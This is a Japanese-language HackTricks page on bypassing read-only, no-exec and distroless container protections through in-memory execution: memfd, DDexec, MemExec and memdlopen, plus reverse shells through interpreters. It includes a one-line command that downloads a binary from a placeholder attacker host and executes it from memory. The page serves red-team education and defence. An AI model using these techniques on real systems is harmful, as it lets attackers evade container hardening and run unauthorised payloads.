Bypass FS protections: read-only / no-exec / Distroless

HackTricksをサポートする

ハッキングキャリアに興味があり、ハッキング不可能なものをハッキングしたい方 - 私たちは採用中です! (流暢なポーランド語の読み書きが必要です)。

動画

以下の動画では、このページで言及された技術がより深く説明されています:

読み取り専用 / no-execシナリオ

Linuxマシンが読み取り専用 (ro) ファイルシステム保護でマウントされることがますます一般的になっています。特にコンテナでは、**readOnlyRootFilesystem: true**をsecuritycontextに設定するだけで、roファイルシステムでコンテナを実行するのが簡単だからです:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

しかし、ファイルシステムがroとしてマウントされていても、/dev/shmは書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダはno-exec保護でマウントされるため、ここにバイナリをダウンロードしても実行することはできません

レッドチームの観点から見ると、これはシステムに既に存在しないバイナリをダウンロードして実行することを複雑にします(バックドアやkubectlのような列挙ツールなど)。

最も簡単なバイパス: スクリプト

バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、任意のスクリプトを実行できます。たとえば、shが存在する場合はシェルスクリプトpythonがインストールされている場合はPythonスクリプトです。

ただし、これはバイナリバックドアや他のバイナリツールを実行するには十分ではありません。

メモリバイパス

バイナリを実行したいがファイルシステムがそれを許可していない場合、最良の方法はメモリから実行することです。なぜなら、保護はそこには適用されないからです

FD + execシステムコールバイパス

マシン内にPythonPerl、またはRubyのような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(create_memfdシステムコール)に保存できます。これはこれらの保護によって保護されないため、execシステムコールを呼び出してfdを実行するファイルとして指定できます。

これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、バイナリが圧縮され、b64エンコードされcreate_memfdシステムコールを呼び出して作成されたfdデコードおよび解凍する手順を含むスクリプトが生成されます。

これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出すデフォルトの方法がないため、バイナリを保存するためのメモリfdを作成するためにcreate_memfdを呼び出すことができないからです。

さらに、/dev/shmにファイルを持つ通常のfdを作成しても機能しません。なぜなら、no-exec保護が適用されるため、実行することが許可されないからです。

DDexec / EverythingExec

DDexec / EverythingExecは、プロセスの**/proc/self/memを上書きすることによって自分のプロセスのメモリを変更する**技術です。

したがって、プロセスによって実行されているアセンブリコードを制御することができシェルコードを書き込み、プロセスを「変異」させて任意のコードを実行することができます。

DDexec / EverythingExecを使用すると、メモリから自分のシェルコード任意のバイナリロードして実行できます。

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

For more information about this technique check the Github or:

DDexec / EverythingExec

MemExec

Memexecは、DDexecの自然な次のステップです。これはDDexecシェルコードのデーモン化であり、異なるバイナリを実行したいときにDDexecを再起動する必要はなく、DDexec技術を介してmemexecシェルコードを実行し、このデーモンと通信して新しいバイナリを読み込んで実行することができます。

memexecを使用してPHPリバースシェルからバイナリを実行する方法の例https://github.com/arget13/memexec/blob/main/a.phpで見つけることができます。

Memdlopen

DDexecと同様の目的を持つmemdlopen技術は、メモリにバイナリを読み込むための簡単な方法を提供します。依存関係を持つバイナリを読み込むことも可能です。

Distroless Bypass

What is distroless

Distrolessコンテナは、特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネント(ライブラリやランタイム依存関係など)だけを含み、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外します。

Distrolessコンテナの目的は、不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ、悪用可能な脆弱性の数を最小限に抑えることです。

Reverse Shell

Distrolessコンテナでは、**通常のシェルを取得するためのshbash**さえ見つからないかもしれません。また、lswhoamiidなどのバイナリも見つかりません... システムで通常実行するすべてのものです。

したがって、リバースシェルを取得したり、通常のようにシステムを列挙したりすることはできません

しかし、もし侵害されたコンテナが例えばflaskウェブを実行している場合、pythonがインストールされているため、Pythonリバースシェルを取得できます。nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどのスクリプト言語でも同様です。

スクリプト言語を使用することで、言語の機能を利用してシステムを列挙することができます。

もし**read-only/no-exec保護がなければ、リバースシェルを悪用してファイルシステムにバイナリを書き込み**、実行することができます。

ただし、この種のコンテナでは通常これらの保護が存在しますが、以前のメモリ実行技術を使用してそれらを回避することができます。

RCE脆弱性を悪用してスクリプト言語のリバースシェルを取得し、メモリからバイナリを実行する方法の例**はhttps://github.com/carlospolop/DistrolessRCEで見つけることができます。

ハッキングキャリアに興味があり、ハッキング不可能なものをハッキングしたい方 - 私たちは採用中です! (流暢なポーランド語の読み書きが必要です)。

Support HackTricks

Last updated